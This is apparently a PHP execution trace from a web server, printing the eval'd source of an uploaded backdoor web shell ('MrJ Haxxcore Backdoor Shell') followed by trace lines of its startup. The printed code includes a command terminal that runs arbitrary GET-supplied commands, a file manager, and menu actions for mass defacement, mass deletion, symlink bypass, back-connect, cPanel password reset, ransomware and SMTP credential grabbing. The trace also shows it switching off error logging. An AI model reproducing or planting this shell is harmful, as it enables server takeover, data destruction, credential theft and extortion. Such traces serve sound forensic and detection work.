color 300ms ease;\r\n\t\t\t\ttransition: background 300ms ease, color 300ms ease;\r\n\t\t\t}\r\n\t\t\tinput[type="radio"].toggle {display:none;}\r\n\t\t\tinput[type="radio"].toggle + label {cursor:pointer;margin:0 2px;width:60px;}\r\n\t\t\tinput[type="radio"].toggle + label:after {\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tcontent: "";\r\n\t\t\t\ttop: 0;\r\n\t\t\t\tbackground: #fff;\r\n\t\t\t\theight: 100%;\r\n\t\t\t\twidth: 100%;\r\n\t\t\t\tz-index: -1;\r\n\t\t\t\t-webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\r\n\t\t\t\ttransition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\r\n\t\t\t}\r\n\t\t\tinput[type="radio"].toggle.toggle-left + label:after {left:100%;}\r\n\t\t\tinput[type="radio"].toggle.toggle-right + label {margin-left:-5px;}\r\n\t\t\tinput[type="radio"].toggle.toggle-right + label:after {left:-100%;}\r\n\t\t\tinput[type="radio"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;}\r\n\t\t\tinput[type="radio"].toggle:checked + label:after {left:0;}\r\n\t\t</style>\r\n\t\t<nav class="navbar static-top navbar-dark">\r\n\t\t\t\t</ul>\r\n\t\t\t</div>\r\n\t\t</nav>\r\n\t\t<?php\r\n\t\techo \'<div class="container">\r\n\t\t\t<h1 class="text-center">\r\n\t\t\t<meta name="theme-color" content="#800000"/>\r\n\t\t\t<br>\r\n\t\t\t<a href="https://facebook.com/botnetmaster1337" style="color:#fffff;"><strong>[ MrJ Haxxcore Backdoor Shell ]</h1>\r\n\t\t\t<center><h5> Strong || Invisible</a></h5></center></strong>\r\n\t\t\t<hr/>\r\n\t\t\t<div class="text-center">\r\n\t\t\t\t<div class="d-flex justify-content-center flex-wrap">\r\n\t\t\t\t\t<a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=for_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> Create File</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=for_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Make Folder</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=bctools" class="fiture btn btn-danger btn-sm"><i class="fas fa-network-wired"></i> Network</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=resetpasscp" class="fiture btn btn-warning btn-sm"><i class="fa fa-key"></i> Auto Reset Cpanel</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=auteduser" class="fiture btn btn-warning btn-sm"><i class="fas fa-user-edit"></i> Auto Edit User</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=ransom" class="fiture btn btn-warning btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=smtpgrab" class="fiture btn btn-warning btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=bypascf" class="fiture btn btn-warning btn-sm"><i class="fas fa-cloud"></i> Bypass Cloud Flare</a>\r\n\t\t\t\t\t<a href="?dir=\'.$dir.\'&aksi=zip_menu" class="fiture btn btn-warning btn-sm"><i class="fa fa-file-archive-o"></i> Zip Menu</a>\r\n\t\t\r\n\t\t\t\t\t<a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> Logout</a>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div class="row">\r\n\t\t\t\t<div class="col-md-5"><br/>\r\n\t\t\t\t\t<h5><i class="fa fa-terminal"></i>Terminal : </h5>\r\n\t\t\t\t\t<form>\r\n\t\t\t\t\t\t<input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami |">\r\n\t\t\t\t\t</form>\r\n\t\t\t\t\t<hr/>\r\n\t\t\t\t\t<h5><i class="fa fa-search"></i> Information : </h5>\r\n\t\t\t\t\t<div class="card table-responsive">\r\n\t\t\t\t\t\t<div class="card-body">\r\n\t\t\t\t\t\t\t<table class="table infor">\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>PHP</td>\r\n\t\t\t\t\t\t\t\t\t<td> : \'.$ver.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>IP Server</td>\r\n\t\t\t\t\t\t\t\t\t<td> : \'.$ip.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>HDD</td>\r\n\t\t\t\t\t\t\t\t\t<td class="d-flex">Total : \'.formatSize($total).\' Free : \'.formatSize($free).\' [\'.$pers.\'%]</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Domain</td>\r\n\t\t\t\t\t\t\t\t\t<td>: \'.$dom.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>MySQL</td>\r\n\t\t\t\t\t\t\t\t\t<td>: \'.$mysql.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>cURL</td>\r\n\t\t\t\t\t\t\t\t\t<td>: \'.$curl.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Mailer</td>\r\n\t\t\t\t\t\t\t\t\t<td>: \'.$mail.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Disable Function</td>\r\n\t\t\t\t\t\t\t\t\t<td>: \'.$show_ds.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Software</td>\r\n\t\t\t\t\t\t\t\t\t<td>: \'.$sof.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Operating System</td>\r\n\t\t\t\t\t\t\t\t\t<td> : \'.$os.\'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t</table>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div><hr/>\r\n\t\t\t\t</div>\r\n\t\t\t<div class="col-md-7 mt-4">\';\r\n\t\t\t\t//keluar\r\n\t\t\t\tif (isset($_GET[\'keluar\'])){\r\n\t\t\t\t\tsession_start();\r\n\t\t\t\t\tsession_destroy();\r\n\t\t\t\t\techo \'<script>window.location="?";</script>\';\r\n\t\t\t\t}\r\n\t\t\t\t//cmd\r\n\t\t\t\tif(isset($_GET[\'cmd\'])){\r\n\t\t\t\t\techo "<pre class=\'text-white\'>".exe($_GET[\'cmd\'])."</pre>";\r\n\t\t\t\t\texit;\r\n\t\t\t\t}\r\n\t\t\t\t//about\r\n\t\t\t\tif (isset($_GET[\'about\'])){\r\n\t\t\t\t\tabout();\r\n\t\t\t\t}\r\n\t\t\t\t//upload\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'upload\'){\r\n\t\t\t\t\taksiUpload($dir);\r\n\t\t\t\t}\r\n\t\t\t\t//openfile\r\n\t\t\t\t\tif (isset($_GET[\'file\'])){\r\n\t\t\t\t\t$file = $_GET[\'file\'];\r\n\t\t\t\t}\r\n\t\t\t\t$nfile = basename($file);\r\n\t\t\t\t//chmod\r\n\t\t\t\tif($_GET[\'aksi\'] == \'chmod_file\'){\r\n\t\t\t\t\tchmodFile($dir,$file,$nfile);\r\n\t\t\t\t}\r\n\t\t\t\t//for_file\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'for_file\'){\r\n\t\t\t\t\tforFile($dir,$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//view\r\n\t\t\t\tif($_GET[\'aksi\'] == \'view\'){\r\n\t\t\t\t\tview($dir,$file,$nfile,$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//edit\r\n\t\t\t\tif($_GET[\'aksi\'] == \'edit\'){\r\n\t\t\t\t\teditFile($dir,$file,$nfile,$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//rename\r\n\t\t\t\tif($_GET[\'aksi\'] == \'rename\'){\r\n\t\t\t\t\trenameFile($dir,$file,$nfile,$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//Delete File\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'hapusf\'){\r\n\t\t\t\t\thapusFile($dir,$file,$nfile);\r\n\t\t\t\t}\r\n\t\t\t\t$ndir = basename($dir);\r\n\t\t\t\t//chmod\r\n\t\t\t\tif($_GET[\'aksi\'] == \'chmod_dir\'){\r\n\t\t\t\t\tchmodFolder($dir,$ndir);\r\n\t\t\t\t}\r\n\t\t\t\t//Add Folder\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'for_folder\' ){\r\n\t\t\t\t\tforFolder($dir,$imgfol);\r\n\t\t\t\t}\r\n\t\t\t\t//Rename Folder\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'rename_folder\' ){\r\n\t\t\t\t\trenameFolder($dir,$ndir,$imgfol);\r\n\t\t\t\t}\r\n\t\t\t\t//Delete Folder\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'hapus_folder\' ){\r\n\t\t\t\t\tdeleteFolder($dir,$ndir);\r\n\t\t\t\t}\r\n\t\t\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Fungsi_Tambahan\r\n\t\t\t\t\t*\r\n\t\t\t\t\t*\r\n\t\t\t\t\t* Mass Deface\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'masdef\'){\r\n\t\t\t\t\taksiMasdef($dir,$file,$imgfol,$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* mass delete\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'masdel\'){\r\n\t\t\t\t\taksiMasdel($dir,$file,$imgfol,$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t/* \r\n\t\t\t\t\t* Jumping\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'jumping\'){\r\n\t\t\t\t\taksiJump($dir,$file,$ip);\r\n\t\t\t\t}\r\n\t\t\t\t//Config\r\n\t\t\t\tif($_GET[\'aksi\'] == \'config\'){\r\n\t\t\t\t\taksiConfig($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t//Bypass etc/passwd\r\n\t\t\t\tif($_GET[\'aksi\'] == \'passwbypass\'){\r\n\t\t\t\t\taksiBypasswd($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t//Adminer\r\n\t\t\t\tif($_GET[\'aksi\'] == \'adminer\'){\r\n\t\t\t\t\taksiAdminer($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Symlink\r\n\t\t\t\t\t* Kuda Shell\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'symlink\'){\r\n\t\t\t\t\taksiSym($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\tif($_GET[\'aksi\'] == \'symread\'){\r\n\t\t\t\t\taksiSymread($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'sym_404\'){\r\n\t\t\t\t\tsym404($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'sym_bypas\'){\r\n\t\t\t\t\tsymBypass($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Back Connect\r\n\t\t\t\t\t* Kuda Shell\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'bctools\'){\r\n\t\t\t\t\tbcTool($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Bypass Disable Function\r\n\t\t\t\t\t* Kuda Shell\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'disabfunc\'){\r\n\t\t\t\t\tdisabFunc($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Auto Reset Cpanel\r\n\t\t\t\t\t* AngkolVen \r\n\t\t\t\t*/\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'resetpasscp\'){\r\n\t\t\t\t\tresetCp($dir);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Auto Edit User\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'auteduser\'){\r\n\t\t\t\t\tautoEdit($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Ransomware\r\n\t\t\t\t\t* Angkol Ven\r\n\t\t\t\t*/\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'ransom\'){\r\n\t\t\t\t\transom($dir,$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* SMTP Grabber\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'smtpgrab\'){\r\n\t\t\t\t\tscj($dir);\r\n\t\t\t\t}\r\n\t\t\t\t//Bypass Cloud Flare\r\n\t\t\t\tif ($_GET[\'aksi\'] == \'bypascf\'){\r\n\t\t\t\t\tbypasscf();\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Zip Menu\r\n\t\t\t\t\t* Angkol Ven\r\n\t\t\t\t*/\r\n\t\t\t\tif($_GET[\'aksi\'] == \'zip_menu\'){\r\n\t\t\t\t\tzipMenu($dir,$file);\r\n\t\t\t\t} \r\n\t\r\n\t\t\t\tif(isset($_GET[\'path\'])){\r\n\t\t\t\t\t$path = $_GET[\'path\'];\r\n\t\t\t\t\tchdir($path);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$path = getcwd();\r\n\t\t\t\t}\r\n\t\t\t\t$path = str_replace(\'\\\\\',\'/\',$path);\r\n\t\t\t\t$paths = explode(\'/\',$path);\r\n\t\t\t\techo "Path : ";\r\n\t\t\t\tforeach($paths as $id=>$pat){\r\n\t\t\t\t\tif($pat == \'\' && $id == 0){\r\n\t\t\t\t\t\t$a = true;\r\n\t\t\t\t\t\techo \'<a href="?dir=/">/</a>\';\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($pat == \'\') continue;\r\n\t\t\t\t\techo \'<a style="word-wrap:break-word;" href="?dir=\';\r\n\t\t\t\t\tfor($i=0;$i<=$id;$i++){\r\n\t\t\t\t\t\techo "$paths[$i]";\r\n\t\t\t\t\t\tif($i != $id) echo "/";\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo \'">\'.$pat.\'</a>/\';\r\n\t\t\t\t}\r\n\t\t\t\t$scandir = scandir($path);\r\n\t\t\t\techo " [ ".w($dir, perms($dir))." ]";\r\n\t\t\t\techo \'<div id="tab"><table class="text-white mt-1 table-hover table-responsive">\r\n\t\t\t\t\t<thead class="bg-info text-center">\r\n\t\t\t\t\t\t<th class="text-left">File/folder</th>\r\n\t\t\t\t\t\t<th>Size</th>\r\n\t\t\t\t\t\t<th>Last Modified</th>\r\n\t\t\t\t\t\t<th>Permission</th>\r\n\t\t\t\t\t\t<th>Action</th>\r\n\t\t\t\t\t</thead>\';\r\n\t\t\t\r\n\t\t\t\t\tforeach($scandir as $dir){\r\n\t\t\t\t\t\t$dtime = date("d/m/y G:i", filemtime("$dir/$dirx"));\r\n\t\t\t\t\t\t/* cek jika ini berbentuk folder */\r\n\t\t\t\t\t\t/* cek jika nama folder karaker terlalu panjang */\r\n\t\t\t\t\t\tif (strlen($dir) > 18){\r\n\t\t\t\t\t\t\t$_dir = substr($dir, 0, 18)."...";\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$_dir = $dir;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$_diir = $_dir;\r\n\t\t\t\t\t\tif(!is_dir($path.\'/\'.$dir) || $dir == \'.\' || $dir == \'..\') continue;\r\n\t\t\t\t\r\n\t\t\t\t\t\techo \'<tr class="text-center">\r\n\t\t\t\t\t\t\t<td class="pinggir">\'.$imgfol.\' <a href="?dir=\'.$path.\'/\'.$dir.\'">\'.$_diir.\'</a></td>\r\n\t\t\t\t\t\t\t<td>--</td>\r\n\t\t\t\t\t\t\t<td>\'.$dtime.\'</td>\r\n\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<a href="?dir=\'.$path.\'/\'.$dir.\'&aksi=chmod_dir">\r\n\';\r\n\t\t\t\t\t\t\tif(is_writable($path.\'/\'.$dir)) echo \'<font color="#00ff00">\';\r\n\t\t\t\t\t\t\telseif(!is_readable($path.\'/\'.$dir)) echo \'<font color="red">\';\r\n\t\t\t\t\t\t\techo perms($path.\'/\'.$dir);\r\n\t\t\t\t\t\t\tif(is_writable($path.\'/\'.$dir) || !is_readable($path.\'/\'.$dir)) echo \'</font></a></td>\r\n\t\t\t\t\t\t\t<td><a title="Rename" class="badge badge-Success" href="?dir=\'.$path.\'/\'.$dir.\'&aksi=rename_folder"> <i class="fas fa-pen"></i> </a> <a title="Delete" class="badge badge-danger" href="?dir=\'.$path.\'/\'.$dir.\'&aksi=hapus_folder"> <i class="fa fa-trash"></i> </a>\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t</tr>\';\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tforeach($scandir as $file){\r\n\t\t\t\t\t\t$ftime = date("d/m/y G:i", filemtime("$path/$file"));\r\n\t\t\t\t\t\t/* cek jika ini berbentuk file */\r\n\t\t\t\t\t\tif(!is_file($path.\'/\'.$file)) continue;\r\n\t\t\t\t\t\techo \'<tr class="text-center">\r\n\t\t\t\t\t\t\t<td class="pinggir"><img src="\';\r\n\r\n\t\t\t\t\t\t\t/* set image berdasarkan extensi file */\r\n\t\t\t\t\t\t\t$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));\r\n\t\t\t\t\t\t\tif($ext == "php"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/337/337947.png"\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "html"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136528.png"\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "css"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136527.png"\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "png"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136523.png"\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "jpg"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136524.png"\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "jpeg"){\r\n\t\t\t\t\t\t\t\techo \'http://i.imgur.com/e8mkvPf.png"\';\r\n\t\t\t\t\t\t\t}elseif($ext == "zip"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136544.png"\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "js"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/1126/1126856.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "ttf"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/1126/1126892.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "otf"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/1126/1126891.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "txt"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136538.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "ico"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/1126/1126873.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "conf"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/512/1573/1573301.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "htaccess"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/1720/1720444.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "sh"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/617/617535.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "py"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/180/180867.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "indsc"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/512/1265/1265511.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "sql"){\r\n\t\t\t\t\t\t\t\techo \'https://img.icons8.com/ultraviolet/2x/data-configuration.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "pl"){\r\n\t\t\t\t\t\t\t\techo \'http://i.imgur.com/PnmX8H9.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "pdf"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136522.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "mp4"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136545.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "mp3"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/136/136548.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "git"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/617/617509.png\';\r\n\t\t\t\t\t\t\t}elseif ($ext == "md"){\r\n\t\t\t\t\t\t\t\techo \'https://image.flaticon.com/icons/png/128/617/617520.png\';\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\techo \'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png\';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'" class="ico2"></img>\';\r\n\t\t\t\t\t\t\t/* cek jika karaker terlalu panjang */\r\n\t\t\t\t\t\t\tif (strlen($file) > 25){\r\n\t\t\t\t\t\t\t\t$_file = substr($file, 0, 25)."...-.".$ext;\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$_file = $file;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo\' <a href="?dir=\'.$path.\'&aksi=view&file=\'.$path.\'/\'.$file.\'">\'.$_file.\'</a></td>\r\n\t\t\t\t\t\t\t<td>\'.formatSize(filesize($file)).\'</td>\r\n\t\t\t\t\t\t\t<td>\'.$ftime.\'</td>\r\n\t\t\t\t\t\t\t<td><a href="?dir=\'.$path.\'&aksi=chmod_file&file=\'.$path.\'/\'.$file.\'" class="text-center">\';\r\n\t\t\t\t\t\t\tif(is_writable($path.\'/\'.$file)) echo \'<font color="#00ff00">\';\r\n\t\t\t\t\t\t\telseif(!is_readable($path.\'/\'.$file)) echo \'<font color="red">\';\r\n\t\t\t\t\t\t\techo perms($path.\'/\'.$file);\r\n\t\t\t\t\t\t\tif(is_writable($path.\'/\'.$file) || !is_readable($path.\'/\'.$file)) echo \'</font></a></td>\r\n\t\t\t\t\t\t\t<td class="d-flex">\r\n\t\t\t\t\t\t\t\t<a title="See" class="badge badge-info" href="?dir=\'.$path.\'&aksi=view&file=\'.$path.\'/\'.$file.\'"> <i class="fa fa-eye"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title="Edit" class="badge badge-Success" href="?dir=\'.$path.\'&aksi=edit&file=\'.$path.\'/\'.$file.\'"> <i class="far fa-edit"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title="Rename" class="badge badge-Success" href="?dir=\'.$path.\'&aksi=rename&file=\'.$path.\'/\'.$file.\'"> <i class="fa fa-pencil"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title="Delete" class="badge badge-danger" href="?dir=\'.$path.\'&aksi=hapusf&file=\'.$path.\'/\'.$file.\'" title="Delete"> <i class="fa fa-trash"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title="Download" class="badge badge-primary" href="?&dir=\'.$path.\'&aksi=download&file=\'.$path.\'/\'.$file.\'" title="Download"> <i class="fa fa-download"></i> </a>\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t</tr>\';\r\n\t\t\t\t\t}\r\n\t\t\t\techo \'</table></div><hr/>\r\n\t\t\t\t<center><a class="text-muted" href="https://facebook.com/mrjhaxxcore">©Copyright © shell v.10</a></center><br/>\';\t\r\n\t\t\t\techo "<a href=\'#\' class=\'scrollToTop\'><i class=\'fa fa-arrow-up up\' aria-hidden=\'true\'></i></a>";?>\r\n\t\t\t\t<iframe width="0%" height="0" scrolling="no" frameborder="no" loop="true" allow="autoplay" src=""></iframe> \r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</body>\r\n</html>' /var/www/html/uploads/1659420477_mrjs.php 1 0
3 6 0 0.007442 1204480 session_start 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 2 0
3 6 1 0.007526 1205232
3 6 R TRUE
3 7 0 0.007544 1205232 error_reporting 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 3 1 0
3 7 1 0.007559 1205272
3 7 R 22527
3 8 0 0.007573 1205232 set_time_limit 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 4 1 0
3 8 1 0.007592 1205296
3 8 R FALSE
3 9 0 0.007606 1205264 clearstatcache 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 5 0
3 9 1 0.007620 1205264
3 9 R NULL
3 10 0 0.007634 1205264 ini_set 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 6 2 'Error_log' NULL
3 10 1 0.007650 1205336
3 10 R FALSE
3 11 0 0.007664 1205264 ini_set 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 7 2 'log_Errors' 0
3 11 1 0.007679 1205336
3 11 R FALSE
3 12 0 0.007693 1205264 ini_set 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 8 2 'max_execution_time' 0
3 12 1 0.007707 1205304
3 12 R '0'
3 13 0 0.007721 1205232 ini_set 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 9 2 'output_buffering' 0
3 13 1 0.007736 1205304
3 13 R FALSE
3 14 0 0.007749 1205232 ini_set 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 10 2 'display_Errors' 0
3 14 1 0.007764 1205304
3 14 R FALSE
2 A /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 23 $aupas = 'b1e8460d4cfb0ca16a6998bf040cc2ab'
2 A /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 24 $default_action = 'FilesMan'
2 A /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 25 $default_use_ajax = TRUE
2 A /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 26 $default_charset = 'UTF-8'
3 15 0 0.007835 1205232 date_default_timezone_set 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 27 1 'Asia/Philippines'
3 15 1 0.007863 1205280
3 15 R FALSE
3 16 0 0.007878 1205232 md5 0 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 65 1 'localhost'
3 16 1 0.007893 1205328
3 16 R '421aa90e079fa326b6494f812ad13e79'
3 17 0 0.007910 1205232 login_shell 1 /var/www/html/uploads/1659420477_mrjs.php(1) : eval()'d code 69 0
0.007958 1125880
